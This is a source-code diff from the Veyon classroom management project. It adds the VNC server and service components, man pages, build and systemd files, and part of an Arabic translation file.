License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_PROXY_SERVER_H +#define VNC_PROXY_SERVER_H + +#include +#include + +class QTcpServer; +class VncProxyConnection; +class VncProxyConnectionFactory; + +class VncProxyServer : public QObject +{ + Q_OBJECT +public: + typedef QVector VncProxyConnectionList; + + VncProxyServer( const QHostAddress& listenAddress, + int listenPort, + VncProxyConnectionFactory* clientFactory, + QObject* parent = nullptr ); + ~VncProxyServer() override; + + bool start( int vncServerPort, const QString& vncServerPassword ); + void stop(); + + const VncProxyConnectionList& clients() const + { + return m_connections; + } + +private slots: + void acceptConnection(); + void closeConnection( VncProxyConnection* ); + +private: + int m_vncServerPort; + QString m_vncServerPassword; + QHostAddress m_listenAddress; + int m_listenPort; + QTcpServer* m_server; + VncProxyConnectionFactory* m_connectionFactory; + VncProxyConnectionList m_connections; + +} ; + +#endif diff --git a/server/src/VncServer.cpp b/server/src/VncServer.cpp new file mode 100644 index 0000000..91ec294 --- /dev/null +++ b/server/src/VncServer.cpp @@ -0,0 +1,141 @@ +/* + * VncServer.cpp - implementation of VncServer, a VNC-server- + * abstraction for platform independent VNC-server-usage + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "AuthenticationCredentials.h" +#include "CryptoCore.h" +#include "VeyonConfiguration.h" +#include "PluginManager.h" +#include "VncServer.h" +#include "VncServerPluginInterface.h" + +#include "rfb/rfbproto.h" + + +VncServer::VncServer( QObject* parent ) : + QThread( parent ), + m_pluginInterface( nullptr ) +{ + VeyonCore::authenticationCredentials().setInternalVncServerPassword( + CryptoCore::generateChallenge().toBase64().left( MAXPWLEN ) ); + + VncServerPluginInterfaceList defaultVncServerPlugins; + + for( auto pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto vncServerPluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && vncServerPluginInterface ) + { + if( pluginInterface->uid() == VeyonCore::config().vncServerPlugin() ) + { + m_pluginInterface = vncServerPluginInterface; + } + else if( pluginInterface->flags().testFlag( Plugin::ProvidesDefaultImplementation ) ) + { + defaultVncServerPlugins.append( vncServerPluginInterface ); // clazy:exclude=reserve-candidates + } + } + } + + if( m_pluginInterface == nullptr ) + { + if( defaultVncServerPlugins.isEmpty() ) + { + qCritical( "VncServer::VncServer(): no VNC server plugins found!" ); + } + else + { + m_pluginInterface = defaultVncServerPlugins.first(); + } + } +} + + + +VncServer::~VncServer() +{ + qDebug(Q_FUNC_INFO); +} + + + +void VncServer::prepare() +{ + qDebug(Q_FUNC_INFO); + + if( m_pluginInterface ) + { + m_pluginInterface->prepareServer(); + } +} + + + +int VncServer::serverPort() const +{ + if( m_pluginInterface && m_pluginInterface->configuredServerPort() > 0 ) + { + return m_pluginInterface->configuredServerPort() + VeyonCore::sessionId(); + } + + return VeyonCore::config().vncServerPort() + VeyonCore::sessionId(); +} + + + +QString VncServer::password() const +{ + if( m_pluginInterface && m_pluginInterface->configuredPassword().isEmpty() == false ) + { + return m_pluginInterface->configuredPassword(); + } + + return VeyonCore::authenticationCredentials().internalVncServerPassword(); +} + + + +void VncServer::run() +{ + if( m_pluginInterface ) + { + qDebug() << Q_FUNC_INFO << "running"; + + if( m_pluginInterface->configuredServerPort() > 0 ) + { + VeyonCore::config().setVncServerPort( m_pluginInterface->configuredServerPort() ); + } + + if( m_pluginInterface->configuredPassword().isEmpty() == false ) + { + VeyonCore::authenticationCredentials().setInternalVncServerPassword( m_pluginInterface->configuredPassword() ); + } + + m_pluginInterface->runServer( serverPort(), password() ); + + qDebug() << Q_FUNC_INFO << "finished"; + } +} diff --git a/server/src/VncServer.h b/server/src/VncServer.h new file mode 100644 index 0000000..cbce369 --- /dev/null +++ b/server/src/VncServer.h @@ -0,0 +1,53 @@ +/* + * VncServer.h - class VncServer, a VNC server abstraction for + * platform-independent VNC server usage + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_SERVER_H +#define VNC_SERVER_H + +#include + +class VncServerPluginInterface; + +class VncServer : public QThread +{ + Q_OBJECT +public: + VncServer( QObject* parent = nullptr ); + virtual ~VncServer(); + + void prepare(); + + int serverPort() const; + + QString password() const; + +private: + virtual void run(); + + VncServerPluginInterface* m_pluginInterface; + +} ; + +#endif diff --git a/server/src/main.cpp b/server/src/main.cpp new file mode 100644 index 0000000..2cb1302 --- /dev/null +++ b/server/src/main.cpp @@ -0,0 +1,54 @@ +/* + * main.cpp - main file for Veyon Server + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "ComputerControlServer.h" +#include "VeyonConfiguration.h" + + +int main( int argc, char **argv ) +{ + QCoreApplication app( argc, argv ); + + VeyonCore core( &app, QStringLiteral("Server") ); + + auto server = new ComputerControlServer; + if( server->start() == false ) + { + qInfo( "Failed to start server" ); + delete server; + return -1; + } + + qInfo( "Exec" ); + + int ret = app.exec(); + + delete server; + + qInfo( "Exec Done" ); + + return ret; +} diff --git a/server/veyon-server.1 b/server/veyon-server.1 new file mode 100644 index 0000000..4918a3a --- /dev/null +++ b/server/veyon-server.1 @@ -0,0 +1,45 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH VEYON-SERVER 1 2018-12-07 Veyon +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.SH NAME +veyon-server \- Veyon Server +.SH SYNOPSIS +.B veyon-server +.br +.SH DESCRIPTION +.PP +.\" TeX users may be more comfortable with the \fB\fP and +.\" \fI\fP escape sequences to invode bold face and italics, +.\" respectively. +\fBVEYON-SERVER\fR is a server application which provides access to a +computer as well as control and application functions. +.PP +Under normal conditions this program is started by the Veyon Service +automatically and with elevated privileges so it can’t be terminated by +users. +.PP +.SH SEE ALSO +veyon-service(1), veyon-master(1), veyon-configurator(8), veyon-auth-helper(1) +.PP +https://veyon.io/ + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Tobias Junghans and Mike Gabriel. It +was originally written for the Debian project (but may be used by +others). diff --git a/server/veyon-server.rc.in b/server/veyon-server.rc.in new file mode 100644 index 0000000..8d5ba4a --- /dev/null +++ b/server/veyon-server.rc.in @@ -0,0 +1,26 @@ +#include + + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Server\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2004-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-server.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "ProductVersion", "@VERSION_STRING@\0" + END + END +END diff --git a/service/CMakeLists.txt b/service/CMakeLists.txt new file mode 100644 index 0000000..c697960 --- /dev/null +++ b/service/CMakeLists.txt @@ -0,0 +1,20 @@ +INCLUDE(WindowsBuildHelpers) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) + +ADD_EXECUTABLE(veyon-service ${CMAKE_CURRENT_SOURCE_DIR}/src/main.cpp) +TARGET_LINK_LIBRARIES(veyon-service veyon-core) + +ADD_WINDOWS_RESOURCE(veyon-service) +MAKE_GRAPHICAL_APP(veyon-service) + +INSTALL(TARGETS veyon-service RUNTIME DESTINATION bin) + +IF(VEYON_BUILD_LINUX) + CONFIGURE_FILE(${CMAKE_CURRENT_SOURCE_DIR}/veyon-service.service.in ${CMAKE_CURRENT_BINARY_DIR}/veyon-service.service @ONLY) + IF(NOT SYSTEMD_SERVICE_INSTALL_DIR) + SET(SYSTEMD_SERVICE_INSTALL_DIR /lib/systemd/system) + ENDIF() + INSTALL(FILES ${CMAKE_CURRENT_BINARY_DIR}/veyon-service.service DESTINATION ${SYSTEMD_SERVICE_INSTALL_DIR}) +ENDIF() + diff --git a/service/src/main.cpp b/service/src/main.cpp new file mode 100644 index 0000000..3fe23e1 --- /dev/null +++ b/service/src/main.cpp @@ -0,0 +1,44 @@ +/* + * main.cpp - main file for Veyon Service + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonServiceControl.h" +#include "PlatformServiceFunctions.h" + +int main( int argc, char** argv ) +{ + QCoreApplication app( argc, argv ); + VeyonCore core( &app, QStringLiteral("Service") ); + + auto& serviceFunctions = core.platform().serviceFunctions(); + + if( serviceFunctions.runAsService( VeyonServiceControl::name(), + [&]() { serviceFunctions.manageServerInstances(); } ) ) + { + return 0; + } + + return -1; +} diff --git a/service/veyon-service.1 b/service/veyon-service.1 new file mode 100644 index 0000000..2331ce3 --- /dev/null +++ b/service/veyon-service.1 @@ -0,0 +1,45 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH VEYON-SERVICE 1 2018-12-07 Veyon +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.SH NAME +veyon-service \- Veyon Service +.SH SYNOPSIS +.B veyon-service +.br +.SH DESCRIPTION +.PP +.\" TeX users may be more comfortable with the \fB\fP and +.\" \fI\fP escape sequences to invode bold face and italics, +.\" respectively. +\fBVEYON-SERVICE\fR is a non-graphical service application which monitors +user sessions on a computer and starts Veyon Server instances within +these sessions. +.PP +The service and its server subprocesses are required to run on all +computers including teacher computers. + +.SH SEE ALSO +veyon-server(1), veyon-configurator(1), veyon-auth-helper(8) +.PP +https://veyon.io/ + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Tobias Junghans and updated by Mike +Gabriel. It was originally written for the Debian project (but may be +used by others). diff --git a/service/veyon-service.rc.in b/service/veyon-service.rc.in new file mode 100644 index 0000000..4da364d --- /dev/null +++ b/service/veyon-service.rc.in @@ -0,0 +1,25 @@ +#include + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Service\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2004-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-service.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "ProductVersion", "@VERSION_STRING@\0" + END + END +END diff --git a/service/veyon-service.service.in b/service/veyon-service.service.in new file mode 100644 index 0000000..c010b45 --- /dev/null +++ b/service/veyon-service.service.in @@ -0,0 +1,17 @@ +[Unit] +Description=Veyon Service +After=network-online.target dbus.service systemd-logind.service +Wants=network-online.target +Requires=dbus.service systemd-logind.service +Documentation=man:veyon-service(1) + +[Service] +ExecStart=@CMAKE_INSTALL_PREFIX@/bin/veyon-service +Type=simple +Restart=always +StartLimitInterval=60 +StartLimitBurst=10 + +[Install] +WantedBy=multi-user.target + diff --git a/translations/CMakeLists.txt b/translations/CMakeLists.txt new file mode 100644 index 0000000..d1df0ca --- /dev/null +++ b/translations/CMakeLists.txt @@ -0,0 +1,64 @@ +# build translation files +FILE(GLOB veyon_LOCALES ${CMAKE_CURRENT_SOURCE_DIR}/*.ts) +SET(ts_targets "") +SET(qm_targets "") +FILE(GLOB_RECURSE veyon_SOURCES ${CMAKE_SOURCE_DIR}/*.cpp ${CMAKE_SOURCE_DIR}/*.h ${CMAKE_SOURCE_DIR}/*.ui) +STRING(REGEX REPLACE "${CMAKE_SOURCE_DIR}/3rdparty[^;]+;?" "" veyon_SOURCES "${veyon_SOURCES}") + +ADD_CUSTOM_TARGET(download-translations) + +FOREACH(ts_file ${veyon_LOCALES}) + STRING(REPLACE "${CMAKE_CURRENT_SOURCE_DIR}/" "" ts_target "${ts_file}") + STRING(REPLACE ".ts" ".qm" qm_target "${ts_target}") + SET(qm_file "${CMAKE_CURRENT_BINARY_DIR}/${qm_target}") + ADD_CUSTOM_TARGET(${ts_target} COMMAND ${Qt5_LUPDATE_EXECUTABLE} -I${CMAKE_SOURCE_DIR}/core/include -locations none -no-obsolete ${veyon_SOURCES} -ts ${ts_file}) + # add command and target for generating/updating QM file if TS file is newer or no QM file exists yet + ADD_CUSTOM_COMMAND(OUTPUT ${qm_file} COMMAND ${Qt5_LRELEASE_EXECUTABLE} ${ts_file} -qm ${qm_file} DEPENDS ${ts_file}) + ADD_CUSTOM_TARGET(${qm_target} ALL DEPENDS ${qm_file}) + + LIST(APPEND ts_targets "${ts_target}") + LIST(APPEND qm_targets "${qm_target}") + + INSTALL(FILES ${qm_file} DESTINATION ${VEYON_INSTALL_DATADIR}/translations) + + # add target for downloading translation file from Transifex + STRING(REPLACE ".ts" "" _translation "${ts_target}") + IF(NOT ${_translation} STREQUAL "veyon") + SET(_download_translation_target "download-${_translation}") + ADD_CUSTOM_TARGET(${_download_translation_target} COMMAND curl --user api:$ENV{TRANSIFEX_API_TOKEN} -o ${ts_file} -X GET "https://www.transifex.com/api/2/project/veyon/resource/veyonts/translation/${_translation}/?mode=default\\&file") + ADD_DEPENDENCIES(download-translations ${_download_translation_target}) + ENDIF() +ENDFOREACH() + +ADD_CUSTOM_TARGET(update-locales) +FOREACH(_item ${ts_targets}) + ADD_DEPENDENCIES(update-locales ${_item}) +ENDFOREACH(_item ${ts_targets}) + + +# find Qt's translation files +SET(QT_TRANSLATIONS_STAMP ${CMAKE_CURRENT_BINARY_DIR}/qttranslations.stamp) +IF(NOT EXISTS "${QT_TRANSLATIONS_STAMP}") + GET_TARGET_PROPERTY(QT_QMAKE_EXECUTABLE Qt5::qmake IMPORTED_LOCATION) + EXECUTE_PROCESS(COMMAND "${QT_QMAKE_EXECUTABLE}" -query QT_INSTALL_TRANSLATIONS + OUTPUT_STRIP_TRAILING_WHITESPACE + OUTPUT_VARIABLE QT_TRANSLATIONS_DIR) + FILE(WRITE "${QT_TRANSLATIONS_STAMP}" "1") + IF(VEYON_BUILD_WIN32) + FILE(GLOB QT_TRANSLATIONS "${QT_TRANSLATIONS_DIR}/qt_*.qm") + FOREACH(QT_TRANSLATION ${QT_TRANSLATIONS}) + IF(NOT QT_TRANSLATION MATCHES "help") + STRING(REPLACE "${QT_TRANSLATIONS_DIR}/" "" QT_TRANSLATION_FILE_NAME "${QT_TRANSLATION}") + STRING(REPLACE "qt_" "qtbase_" QTBASE_TRANSLATION_FILE_NAME "${QT_TRANSLATION_FILE_NAME}") + # is there qtbase-specific QM file? + IF(EXISTS "${QT_TRANSLATIONS_DIR}/${QTBASE_TRANSLATION_FILE_NAME}") + # then use it instead of (deprecated) QM file for all Qt modules + FILE(COPY "${QT_TRANSLATIONS_DIR}/${QTBASE_TRANSLATION_FILE_NAME}" DESTINATION ${CMAKE_CURRENT_BINARY_DIR}) + FILE(RENAME "${CMAKE_CURRENT_BINARY_DIR}/${QTBASE_TRANSLATION_FILE_NAME}" "${CMAKE_CURRENT_BINARY_DIR}/${QT_TRANSLATION_FILE_NAME}") + ELSE() + FILE(COPY ${QT_TRANSLATION} DESTINATION ${CMAKE_CURRENT_BINARY_DIR}) + ENDIF() + ENDIF() + ENDFOREACH() + ENDIF() +ENDIF() diff --git a/translations/ar.ts b/translations/ar.ts new file mode 100644 index 0000000..32dca59 --- /dev/null +++ b/translations/ar.ts @@ -0,0 +1,3816 @@ + + + AboutDialog + + About + حول + + + Translation + ترجمة + + + License + ترخيص + + + About Veyon + حول فيون + + + Contributors + المساهمون + + + Version: + نسخة: + + + Website: + الموقع الإلكتروني: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + حول %1 %2 + + + Support Veyon project with a donation + دعم مشروع فيون بالتبرع + + + + AccessControlPage + + Computer access control + التحكم في الوصول إلى الكمبيوتر + + + Grant access to every authenticated user (default) + منح حق الوصول إلى كل مستخدم تمت مصادقته (افتراضي) + + + Test + إختبار + + + Restrict access to members of certain user groups + تقييد الدخول إلى أعضاء مجموعات مستخدمين معينة + + + Process access control rules + قواعد التحكم في الوصول إلى العمليات + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + جميع المجموعات + + + ... + ... + + + Access control rules + قواعد التحكم في الوصول + + + Add access control rule + إضافة قاعدة للتحكم في الوصول + + + Remove access control rule + إزالة قاعدة للتحكم في الوصول + + + Move selected rule down + نقل القاعدة المحددة لأسفل + + + Move selected rule up + نقل القاعدة المحددة لأعلى + + + Edit selected rule + تعديل القاعدة المحددة + + + Enter username + أدخل اسم المستخدم + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + حق الوصول مسموح + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + حق الوصول ممنوع + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + عام + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + حالات + + + is member of group + هو عضو في المجموعة + + + is located in room + هل موجود بالغرفة + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + دليل ملفات المفاتيح العامة الأساسي + + + Private key file base directory + دليل ملفات المفاتيح الخاصة الأساسي + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + الاسم + + + Type + النوع + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + الاسم + + + Host address/IP + + + + MAC address + IPعنوان + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + النوع + + + Name + الاسم + + + Host address + + + + MAC address + IPعنوان + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + خطأ في عملية التوثيق + + + Remote access + التحكم عن بعد + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not 